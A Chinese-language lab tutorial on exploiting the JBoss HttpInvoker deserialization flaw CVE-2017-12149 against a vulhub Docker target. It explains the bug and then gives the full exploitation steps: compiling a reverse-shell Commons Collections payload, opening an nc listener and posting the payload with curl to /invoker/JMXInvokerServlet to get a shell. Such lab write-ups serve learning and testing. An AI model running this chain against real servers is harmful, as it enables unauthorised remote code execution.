文章目录
- 漏洞简介
- 影响范围
- 靶场环境搭建
- 漏洞发现
- 漏洞利用
- 攻击机检查JAVA环境
- 下载利用反序列化工具 CVE-2015-7501
- 进行漏洞测试
Jboss Application Server反序列化命令执行漏洞
漏洞简介
JBOSSApplication Server 反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter
过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
首先需要了解Java的序列化和反序列化。Java序列化就是指把Java对象转换为字节序列的过程,在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。Java反序列化就是指把字节序列恢复为Java对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。
影响范围
JBoss 5.x - 6.x
靶场环境搭建
docker搭建使用vulhub靶场
cd /vulhub/jboss/CVE-2017-7504
docker-compose up -d
docker ps
访问地址,搭建成功
漏洞发现
访问 http://ip:port/invoker/readonly ,若返回如下显示状态码为500的报错界面,则证明漏洞存在
漏洞利用
这里需要用到 javac 进行编译 ser 文件,所以要有 java 环境,最好是Java 1.8 版本
攻击机检查JAVA环境
java -version
javac -version
下载利用反序列化工具 CVE-2015-7501
https://github.com/ianxtianxt/CVE-2015-7501
这里使用的反序列化工具对于 CVE-2017-12149 和 CVE-2015-7501/7504 漏洞都可以进行利用,总体上都是利用java的反序列化。
进行漏洞测试
下载解压缩进入工具目录,使用 java 编译 ser 文件,这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser 文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap
ip:port
(IP是攻击机ip,port是要监听的端口)
使用 nc 监听端口
nc -lvvp 4444
curl 请求反弹建立连接
curl http://192.168.88.130:8080/invoker/JMXInvokerServlet --data-binary
@ReverseShellCommonsCollectionsHashMap.ser
打开监听端口命令行,得到目标权限